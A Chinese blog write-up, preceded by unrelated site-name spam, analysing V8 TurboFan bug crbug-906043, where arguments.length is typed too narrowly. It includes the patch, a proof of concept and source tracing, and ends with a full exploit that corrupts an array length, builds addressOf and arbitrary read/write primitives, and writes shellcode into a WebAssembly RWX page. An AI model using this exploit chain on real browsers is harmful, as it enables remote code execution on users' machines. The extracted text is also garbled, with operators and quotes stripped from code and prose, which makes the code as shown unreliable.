大型网站开发的书,深圳市光明建设发展集团网站,建e全景官网,杭州优化外包文章目录 环境搭建漏洞分析笔者初分析笔者再分析漏洞触发源码分析 漏洞利用总结 环境搭建
sudo apt install pythongit reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
export DEPOT_TOOLS_UPDATE0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ni… 文章目录 环境搭建漏洞分析笔者初分析笔者再分析漏洞触发源码分析 漏洞利用总结 环境搭建
sudo apt install pythongit reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
export DEPOT_TOOLS_UPDATE0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release漏洞分析
patch 如下
diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.hb/src/compiler/type-cache.h-166,8 166,7 Type::Union(Type::SignedSmall(), Type::NaN(), zone());// The valid number of arguments for JavaScript functions.
- Type const kArgumentsLengthType
- Type::Range(0.0, Code::kMaxArguments, zone());Type const kArgumentsLengthType Type::Unsigned30();// The JSArrayIterator::kind property always contains an integer in the// range [0, 2], representing the possible IterationKinds.
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.ccb/src/compiler/verifier.cc-1258,8 1258,7 break;case IrOpcode::kNewArgumentsElements:CheckValueInputIs(node, 0, Type::ExternalPointer());
- CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
- Code::kMaxArguments, zone));CheckValueInputIs(node, 1, Type::Unsigned30());CheckTypeIs(node, Type::OtherInternal());break;case IrOpcode::kNewConsString:
diff --git a/test/mjsunit/regress/regress-crbug-906043.js b/test/mjsunit/regress/regress-crbug-906043.js
new file mode 100644
index 0000000..dbc283f
--- /dev/nullb/test/mjsunit/regress/regress-crbug-906043.js先来看下 type-cache.h 中对 kArgumentsLengthType 的设置 static const int kArgumentsBits 16;// Reserve one argument count value as the dont adapt arguments sentinel.static const int kMaxArguments (1 kArgumentsBits) - 2; // 0xfffe// The valid number of arguments for JavaScript functions.Type const kArgumentsLengthType Type::Range(0.0, Code::kMaxArguments, zone());第二处补丁是打在了 void Verifier::Visitor::Check(Node* node, const AllNodes all) 函数中
void Verifier::Visitor::Check(Node* node, const AllNodes all) {......switch (node-opcode()) {......case IrOpcode::kNewArgumentsElements:CheckValueInputIs(node, 0, Type::ExternalPointer());CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,Code::kMaxArguments, zone));CheckTypeIs(node, Type::OtherInternal());break;......笔者初分析
这里笔者本打算跟踪 Verifier::Visitor::Check 寻找调用链但是并没有发现引用该函数的逻辑直接在 gdb 中下断点也断不下来所以笔者决定跟踪 kArgumentsLengthType 变量最终发现如下地方进行了引用 可以发现在 TyperPhase 阶段会调用该值
Type Typer::Visitor::TypeArgumentsLength(Node* node) {return TypeCache::Get().kArgumentsLengthType;
}class Typer::Visitor : public Reducer {
......Reduction Reduce(Node* node) override {case IrOpcode::kArgumentsLength: \return UpdateType(node, TypeArgumentsLength(node));......所以这里会更新 ArgumentsLength 节点的类型。但是这里跟漏洞有啥关系呢而且笔者自己写的 demo 也没观察到有 ArgumentsLength 这个节点。
笔者因此陷入僵局因为目前网上还没有文章对该漏洞的原理进行分析。无奈最后笔者只有对着作者给的 POC 进行分析。
笔者再分析
这里我们来分析下作者给的 POC
function fun(arg) {let x arguments.length;a1 new Array(0x10);a1[0] 1.1;a2 new Array(0x10);a2[0] 1.1;a1[(x 16) * 21] 1.39064994160909e-309; // 0xffff00000000a1[(x 16) * 41] 8.91238232205e-313; // 0x2a00000000
}var a1, a2;
var a3 [1.1, 2.2];
a3.length 0x11000;
a3.fill(3.3);var a4 [1.1];for (let i 0; i 3; i) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res fun(...a3);
console.log(a2.length , a2.length.toString(16));// 输出
// a2.length 2a可以看到这里成功将 a2.length 修改为了 0x2a结合 POC 可知这里 a1 发生了数组越界。可以看到 POC 比较关键的点就是这里的索引为 (x 16) * ?而 x arguments.length。
接下来我们简化 POC抓住主要执行逻辑
function fun(arg) {let x arguments.length;let y (x 16) * 21;return y;
}var a3 [1.1, 2.2];
a3.length 0x11000;var a4 [1.1];for (let i 0; i 3; i) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);res fun(...a3);看下 load elimination 阶段 可以看到这里的 ArgumentsLength 节点的范围为 Range(0, 65534)而 65534 0xfffe这个数字是不是很熟悉 不就是第一处 patch 点吗没有 patch 之前kMaxArguments 就是 0xfffe static const int kArgumentsBits 16;// Reserve one argument count value as the dont adapt arguments sentinel.static const int kMaxArguments (1 kArgumentsBits) - 2; // 0xfffe// The valid number of arguments for JavaScript functions.Type const kArgumentsLengthType Type::Range(0.0, Code::kMaxArguments, zone());看到这里你也许就明白了这里默认 arguments.length 的最大值为 kMaxArguments 0xfffe但是观察 POC 可知我们传入的参数使得 arguments.length 0x11000其中 0xfffe 16 0而 0x11000 16 1哇漏洞是不是很明显所以这会导致在 simplified lowering 阶段消除 CheckBound 节点 这里大概知道了漏洞触发的原因但是我们还是要回到源码中分析。
漏洞触发源码分析
这里以如下 POC 跟踪分析源码
function fun(arg) {let x arguments.length;a1 new Array(0x10);a1[0] 1.1;oob_arr new Array(0x10);oob_arr[0] 1.1;a1[(x 16) * 41] 1.39064994160909e-309; // 0xffff00000000
}
var a1, oob_arr;
var a3 new Array();
a3.length 0x11000;for(let i 0; i 0x10000; i)
{fun(1);
}
fun(...a3);typer 阶段 这里我们看下 typer 阶段是如何对 SpeculativeNumberShiftRight 进行处理的
......case IrOpcode::kSpeculativeNumberShiftRight:return UpdateType(node, TypeBinaryOp(node, SpeculativeNumberShiftRight));
......这里最后会调用到 NumberShiftRight 函数 这里需要调试直接引用跟踪是跟不出来的读者可以自行调试把断点打在 SpeculativeNumberShiftRight 即可 Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {DCHECK(lhs.Is(Type::Number()));DCHECK(rhs.Is(Type::Number()));lhs NumberToInt32(lhs);rhs NumberToUint32(rhs);if (lhs.IsNone() || rhs.IsNone()) return Type::None();int32_t min_lhs lhs.Min();int32_t max_lhs lhs.Max();uint32_t min_rhs rhs.Min();uint32_t max_rhs rhs.Max();if (max_rhs 31) {// rhs can be larger than the bitmaskmax_rhs 31;min_rhs 0;}double min std::min(min_lhs min_rhs, min_lhs max_rhs);double max std::max(max_lhs min_rhs, max_lhs max_rhs);if (max kMaxInt min kMinInt) return Type::Signed32();return Type::Range(min, max, zone());
}由于在 typer 阶段还没有进行 Load 节点的消除所以 SpeculativeNumberShiftRight 节点的第一个参数是一个 Load 节点其范围为 [INT_MIN, INT_MAX]所以最后右移后SpeculativeNumberShiftRight 的范围为 Range(-32768, 32767) 与 IR 图是吻合的
typed lowering 阶段 该阶段中会对 JS 函数节点进行处理其中 create_lowering reducer 就会对 typer 阶段的 JSCreateArguments 进行处理
Reduction JSCreateLowering::Reduce(Node* node) {DisallowHeapAccess disallow_heap_access;switch (node-opcode()) {case IrOpcode::kJSCreate:return ReduceJSCreate(node);case IrOpcode::kJSCreateArguments:return ReduceJSCreateArguments(node);......跟进 ReduceJSCreateArguments 函数 代码有点长可以扔给 GPT 审计审计但效果不是很好 Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) {DCHECK_EQ(IrOpcode::kJSCreateArguments, node-opcode());CreateArgumentsType type CreateArgumentsTypeOf(node-op());Node* const frame_state NodeProperties::GetFrameStateInput(node);Node* const outer_state frame_state-InputAt(kFrameStateOuterStateInput);Node* const control graph()-start();FrameStateInfo state_info FrameStateInfoOf(frame_state-op());SharedFunctionInfoRef shared(broker(),state_info.shared_info().ToHandleChecked());// Use the ArgumentsAccessStub for materializing both mapped and unmapped// arguments object, but only for non-inlined (i.e. outermost) frames.if (outer_state-opcode() ! IrOpcode::kFrameState) {switch (type) {case CreateArgumentsType::kMappedArguments: {// TODO(mstarzinger): Duplicate parameters are not handled yet.if (shared.has_duplicate_parameters()) return NoChange();Node* const callee NodeProperties::GetValueInput(node, 0);Node* const context NodeProperties::GetContextInput(node);Node* effect NodeProperties::GetEffectInput(node);Node* const arguments_frame graph()-NewNode(simplified()-ArgumentsFrame());Node* const arguments_length graph()-NewNode(simplified()-ArgumentsLength(shared.internal_formal_parameter_count(), false),arguments_frame);// Allocate the elements backing store.bool has_aliased_arguments false;Node* const elements effect AllocateAliasedArguments(effect, control, context, arguments_frame, arguments_length, shared,has_aliased_arguments);// Load the arguments object map.Node* const arguments_map jsgraph()-Constant(has_aliased_arguments? native_context().fast_aliased_arguments_map(): native_context().sloppy_arguments_map());// Actually allocate and initialize the arguments object.AllocationBuilder a(jsgraph(), effect, control);Node* properties jsgraph()-EmptyFixedArrayConstant();STATIC_ASSERT(JSSloppyArgumentsObject::kSize 5 * kPointerSize);a.Allocate(JSSloppyArgumentsObject::kSize);a.Store(AccessBuilder::ForMap(), arguments_map);a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);a.Store(AccessBuilder::ForJSObjectElements(), elements);a.Store(AccessBuilder::ForArgumentsLength(), arguments_length);a.Store(AccessBuilder::ForArgumentsCallee(), callee);RelaxControls(node);a.FinishAndChange(node);return Changed(node);}case CreateArgumentsType::kUnmappedArguments: {......}case CreateArgumentsType::kRestParameter: {......}}UNREACHABLE();} else if (outer_state-opcode() IrOpcode::kFrameState) {......if (type CreateArgumentsType::kMappedArguments) {Node* const callee NodeProperties::GetValueInput(node, 0);Node* const context NodeProperties::GetContextInput(node);Node* effect NodeProperties::GetEffectInput(node);// TODO(mstarzinger): Duplicate parameters are not handled yet.if (shared.has_duplicate_parameters()) return NoChange();// Choose the correct frame state and frame state info depending on// whether there conceptually is an arguments adaptor frame in the call// chain.Node* const args_state GetArgumentsFrameState(frame_state);if (args_state-InputAt(kFrameStateParametersInput)-opcode() IrOpcode::kDeadValue) {// This protects against an incompletely propagated DeadValue node.// If the FrameState has a DeadValue input, then this node will be// pruned anyway.return NoChange();}FrameStateInfo args_state_info FrameStateInfoOf(args_state-op());// Prepare element backing store to be used by arguments object.bool has_aliased_arguments false;Node* const elements AllocateAliasedArguments(effect, control, args_state, context, shared, has_aliased_arguments);effect elements-op()-EffectOutputCount() 0 ? elements : effect;// Load the arguments object map.Node* const arguments_map jsgraph()-Constant(has_aliased_arguments ? native_context().fast_aliased_arguments_map(): native_context().sloppy_arguments_map());// Actually allocate and initialize the arguments object.AllocationBuilder a(jsgraph(), effect, control);Node* properties jsgraph()-EmptyFixedArrayConstant();int length args_state_info.parameter_count() - 1; // Minus receiver.STATIC_ASSERT(JSSloppyArgumentsObject::kSize 5 * kPointerSize);a.Allocate(JSSloppyArgumentsObject::kSize);a.Store(AccessBuilder::ForMap(), arguments_map);a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);a.Store(AccessBuilder::ForJSObjectElements(), elements);a.Store(AccessBuilder::ForArgumentsLength(), jsgraph()-Constant(length));a.Store(AccessBuilder::ForArgumentsCallee(), callee);RelaxControls(node);a.FinishAndChange(node);return Changed(node);}......}return NoChange();
}其实也不需要看到知道这里计算了 ArgumentsLength 的范围即可。其实就是获取的 kMaxArguments 0xfffe。
而因为 argument.length 的偏移是固定的所以在 load elimination 的 load_elimination reducer 会去除 Load 节点 然后在 load elimination 阶段的 type_narrowing_reducer 会在进行一次 typing然后会再调用一次上面 typer 阶段执行过的 OperationTyper::NumberShiftRight 函数 其实这里的 IR 图跟我想到不一样因为我觉得这里 turbofan 应当计算出 idx 就是 Range(0, 0)然后直接优化为 arr[0]。 Reduction TypeNarrowingReducer::Reduce(Node* node) {DisallowHeapAccess no_heap_access;Type new_type Type::Any();switch (node-opcode()) {case IrOpcode::kNumberLessThan: {......}case IrOpcode::kTypeGuard: {......}#define DECLARE_CASE(Name) \case IrOpcode::k##Name: { \new_type op_typer_.Name(NodeProperties::GetType(node-InputAt(0)), \NodeProperties::GetType(node-InputAt(1))); \break; \}SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)DECLARE_CASE(SameValue)#undef DECLARE_CASE......这里展开宏可以得到
case IrOpcode::kNumberShiftRightnew_type OperationTyper.NumberShiftRight(NodeProperties::GetType(node-InputAt(0)),NodeProperties::GetType(node-InputAt(1)));break所以最后还是调用到 OperationTyper::NumberShiftRight 函数
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {DCHECK(lhs.Is(Type::Number()));DCHECK(rhs.Is(Type::Number()));lhs NumberToInt32(lhs); // range(0, 65534)rhs NumberToUint32(rhs); // range(16, 16)if (lhs.IsNone() || rhs.IsNone()) return Type::None();int32_t min_lhs lhs.Min(); // 0int32_t max_lhs lhs.Max(); // 65534uint32_t min_rhs rhs.Min(); // 16uint32_t max_rhs rhs.Max(); // 16if (max_rhs 31) {// rhs can be larger than the bitmaskmax_rhs 31;min_rhs 0;}double min std::min(min_lhs min_rhs, min_lhs max_rhs); // 0double max std::max(max_lhs min_rhs, max_lhs max_rhs); // 0if (max kMaxInt min kMinInt) return Type::Signed32();return Type::Range(min, max, zone()); // Range(0, 0)可以看到这里返回的是 Range(0, 0) [看我写的注释]但是最后并没有用该值直接更新节点而是和原类型进行的合并
......Type original_type NodeProperties::GetType(node);Type restricted Type::Intersect(new_type, original_type, zone());if (!original_type.Is(restricted)) {NodeProperties::SetType(node, restricted);return Changed(node);}return NoChange();以上就是漏洞源码分析全过程了。
漏洞利用
越界修改了 oob_arr 的 length 后其利用就比较简单了。
利用越界读构造 addressOf 原语利用越界写修改 ArrayBuffer 的 backing_store 字段构造任意地址读写原语先利用 addressOf 原语泄漏 wasm_instance 地址然后在利用任意地址读原语泄漏 rwx_addr利用任意地址写原语向 rwx_addr 上写入 shellcode
exp 如下
/*
let debug (obj) {%DebugPrint(obj);readline();
}
*/var raw_buf new ArrayBuffer(8);
var d_buf new Float64Array(raw_buf);
var l_buf new BigUint64Array(raw_buf);let l2d (val) {l_buf[0] val;return d_buf[0];
}let d2l (val) {d_buf[0] val;return l_buf[0];
}function fun(arg) {let x arguments.length;a1 new Array(0x10);a1[0] 1.1;oob_arr new Array(0x10);oob_arr[0] 1.1;a1[(x 16) * 41] 1.39064994160909e-309; // 0xffff00000000
}
var a1, oob_arr;
var a3 new Array();
a3.length 0x11000;for(let i 0; i 0x10000; i)
{fun(1);
}
fun(...a3);console.log([] oob_arr.length: oob_arr.length);var tmp_arr [0xdeadef, a1];
var buf_arr [];
const BUF_NUM 0x30;for (let i 0; i BUF_NUM; i) {buf_arr.push(new ArrayBuffer(0x2024));
}var backing_store_ptr_off -1;
for (let i 0; i oob_arr.length-1; i) {let val d2l(oob_arr[i]);if (val 0x2024n) {oob_arr[i] l2d(0x2025n);backing_store_ptr_off i1;break;}
}if (backing_store_ptr_off -1) {throw FAILED to hit ArrayBuffer;
}var victim_idx -1;
for (let i 0; i BUF_NUM; i) {if (buf_arr[i].byteLength 0x2025) {victim_idx i;break;}
}var addressOf_idx -1;
for (let i 0; i oob_arr.length-1; i) {let val d2l(oob_arr[i]);if (val 0x00deadef00000000n) {addressOf_idx i1;break;}
}var dv new DataView(buf_arr[victim_idx]);console.log(backing_store_ptr_off, backing_store_ptr_off);
console.log(victim_idx, victim_idx);
console.log(addressOf_idx, addressOf_idx);function addressOf(obj) {tmp_arr[1] obj;return d2l(oob_arr[addressOf_idx]);
}function arb_read(addr) {oob_arr[backing_store_ptr_off] l2d(addr);return d2l(dv.getFloat64(0, true));
}function arb_write(addr, val) {oob_arr[backing_store_ptr_off] l2d(addr);dv.setFloat64(0, l2d(val), true);
}var wasm_code new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module new WebAssembly.Module(wasm_code);
var wasm_instance new WebAssembly.Instance(wasm_module);
var pwn wasm_instance.exports.main;console.log(wasm_instance address:, 0xaddressOf(wasm_instance).toString(16));var rwx_addr arb_read(addressOf(wasm_instance)-1n0xe8n);
console.log(rwx_address:, 0xrwx_addr.toString(16));var shellcode [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];for (let i 0; i shellcode.length; i) {arb_write(rwx_addr, shellcode[i]);rwx_addr 8n;
}pwn();
//%DebugPrint(wasm_instance);
//debug(oob_arr);效果如下
总结
该漏洞其实很简单就是将 kArgumentsLengthType 的值错误地设置成了 0x7ffe而笔者测试发现 argument.length 最大可以是 0x1ebef所以在 turbofan 进行优化时认为 argument.length 的范围在 [0, 0x7ffe] 之间然后 16则范围在 [0, 0] 之间从而导致 CheckBound 节点被优化但是实际上我们传入的参数个数为 0x11000所以 16 后值为 1。即优化阶段认为 argument.length 16 的值为 0而实际运行阶段 argument.length 16 的值为 1然后通过一些运算可以放大这个错误从而导致越界读写。
但是笔者感觉 turbofan 中还是有一些优化玄学问题后续有时间可能得调试一下源码